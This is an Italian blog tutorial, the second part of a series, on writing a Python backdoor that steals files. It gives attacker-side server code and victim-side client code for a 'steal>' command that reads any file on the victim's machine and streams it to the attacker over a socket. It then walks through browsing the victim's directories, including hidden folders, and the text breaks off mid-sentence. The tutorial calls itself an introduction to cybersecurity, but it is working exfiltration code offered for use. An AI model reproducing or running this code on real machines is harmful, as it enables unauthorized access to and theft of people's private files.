Backdoor - Come creare una Backdoor in Python | Rubare I File

May 14, 2021

La guida

In questa guida tratterò il tema delle Backdoor, un metodo informatico per effettuare operazioni su un altro computer di “nascosto”.

Andremo ad utilizzare Python e come vedremo ci basteranno veramente poche righe di codice per sviluppare tutto ciò che ci serve, **se vuoi saltare questa parte puoi scaricare direttamente il codice **<strong>cliccando qui</strong>.

Non verrà trattato il tema di “Come far avere il file giusto alla nostra vittima” né tanto meno verranno trattati sistemi di sicurezza per prevenire questo attacco visto che l’obiettivo è mantenere un livello di difficoltà basso in modo tale da offrire degli strumenti di lavoro utili per iniziare a entrare nel mondo della Cyber Sicurezza.

E' fortemente consigliato seguire il video caricato su YouTube in modo tale da avere una visione pratica della Backdoor all’opera.

Obiettivo

In questa seconda parte della guida andremo ad implementare la funzionalità che ci aiuta a rubare i file che c’interessano.

Partiremo per tanto dalla prima versione e andrò a commentare le righe aggiunte.

Cosa Serve

E' necessario avere installato Python su entrambe le macchine.

Una conoscenza minima di Python e delle Reti(TCP/IP, Connessioni, Client-Server ecc…)

Creazione Del Programma

- Server

Esattamente come nella prima guida il nostro Server occuperà la parte dell’attaccante e per tanto andremo a configurare la parte che gestirà la copia del file che vogliamo rubare nel nostro computer.

Python:

else:
 client.send(command.encode()) #manda
 resp = client.recv(buffer_size) #riceve
 flag = True

 if "steal" in command:
  file_backdoor = PWD
  print("[+] Start!")

  with open(file_backdoor, "wb") as f:
   while True:
    f.write(resp)
    resp = client.recv(buffer_size)
    if "end-transfer-file" in resp.decode("ISO-8859-1"):
     break
  print("[+] End!")

 else:
  print(resp.decode("ISO-8859-1"))[/CODE]

• if “steal” in command: Se nel comando inserito c’è la keyword ‘steal’
  • file_backdoor = PWD Selezione il percorso dove vogliamo salvare il file, PWD nel mio caso è
    /home/nonameon/Desktop/file è importante includere file alla fine senza alcuna estenzione, come si vede dal video saremo noi a dare successivamente l’estensione necessaria
  • print("[+] Start!")
  • with open(file_backdoor, “wb”) as f: Apriamo in modalità w=scrittura b=binaria il file indicato
    • while True:
      • f.write(resp) Riscrivi dentro il file i bytes che ci arrivano dalla vittima
      • resp = client.recv(buffer_size) Una volta gestita la porzione di dati ricevuta allora aspetta la prossima ponendoti in attesa
      • if “end-transfer-file” in resp.decode(“ISO-8859-1”): Se all’interno del messaggio ricevuto, una volta decodificato, viene rilevato “end-transfer-file” allora possiamo terminare la riscrittura dei dati.
        • break
  • print("[+] End!")

- Client

Esattamente come nella prima guida il nostro Client occuperà la parte della vittima e per tanto andremo a configurare la parte che gestirà il trasferimento dei dati.

E' di fondamentale importanza ricordarsi che il Client si aspetta una sintassi ben precisa e dobbiamo necessariamente seguirla alla lettera.

Sintassi: steal><file_path>

Python:

elif "steal" in command_decoded:
 file_path = command_decoded.split(">")
 print("[+] Start!")
 with open(file_path[1], "rb") as f:
  while True:
   file_bytes = f.read(buffer_size)
   if not file_bytes:
    break
   server.send(file_bytes)
 end = "end-transfer-file".encode("ISO-8859-1")
 server.send(end)
 print("[+] End!")

• elif “steal” in command_decoded: Se, una volta decodificato, il programma rileva che dal Server ci arriva una richiesta di tipo “steal”
  • file_path = command_decoded.split(">") Sapendo che il comando si divide in: A sinistra dal carattere > il comando steal e a destra il percorso assoluto del file da voler rubare allora lo possiamo “splittare” esattamente sul carattere divisore.
  • print("[+] Start!")
  • with open(file_path[1], “rb”) as f: Nella seconda posizione della nostra variabile _file_path_vi è il nostro file che vogliamo rubare e, per tanto, lo apriremo in r=lettura b=binaria
    • while True:
      • file_bytes = f.read(buffer_size) Una volta aperto il file “leggeremo” al massimo 1024 bytes per volta, ovvero esattamente la quantità che vogliamo trasferire al Server. Notate che è di fondamentale importanza collegare tutto perfettamente con le quanità esatte altrimenti potremmo avere perdite di dati inaspettate. Cosa succederebbe se ci aspettassimo 1024 bytes e in realtà ce né arrivano 2048?
      • if not file_bytes: Se ho terminato i bytes leggibili allora ho trasferito tutto
        • break
      • server.send(file_bytes) Se ci sono ancora bytes da dover trasferire allora li trasferisco al Server che intanto è in attesa(recv())
  • end = “end-transfer-file”.encode(“ISO-8859-1”) Una volta terminato tutto allora mando(sempre sottoforma di bytes) la stringa “end-transfer-file” in modo tale che una volta decodificata verrà letta dal Server e “capirà” che il trasferimento è terminato
  • server.send(end)
  • print("[+] End!")

Nota

Il Server si mette in attesa di bytes e il Client glieli manda 1024 al massimo per volta fino a che finisce di leggere i bytes leggibili. Nel frattempo il Server li ricompone Blocco per Blocco fino a riformare il file completo.

Oltre a questi rilevanti cambiamenti ho apportato altre modifiche come delle print qua e la e delle variabili che abbellissero il codice per tanto vi invito sempre a vedere il codice completo cliccando qui.

Se qualcosa non risulta chiara vi prego di commentare o contattarmi e sarò lieto di aiutarvi.

Passiamo all’attacco

Come già detto è fortemente consigliato vedere il video su YouTube perché fondamentalmente spiego ciò che la si vede a video quindi secondo me potrebbe essere molto più chiaro.

1. Avviamo il programma server.py dalla nostra macchina
2. Avviamo il programma client.py dalla macchina della vittima

La prima cosa da fare, una volta stabilita la connessione con la vittima, è quella di capire dove siamo e per tanto lanciare il comando dir

Come possiamo vedere sulla macchina della vittima ci troviamo nel percorso C:\Users\aless\Desktop\Client e noi siamo quel client.py.

Se non conoscete già il percorso da voler verificare allora dobbiamo andare alla ricerca di qualche cartella che potrebbe interessarci e per tanto sicuramente useremo il comando cd .. concatenato tramite && al comando dir

Mh, non è andata molto bene.

Sembrerebbe che la nostra vittima non abbia nulla che possa interessarci.

Una cosa molto comune è cercare di Nascondere i file, non sapendo però, che non vengono realmente nascosti, bensì rimangono solo invisibili se non si abilita la giusta opzione(Mostra file nascosti).

Nel nostro caso ci basterà aggiungere /a per poter vedere cosa nasconde il nostro amico, quindi ripeteremo l’operazione cd .. && dir/a

Beh! Sono un altro paio di mani adesso…

Abbiamo scovato una cartella(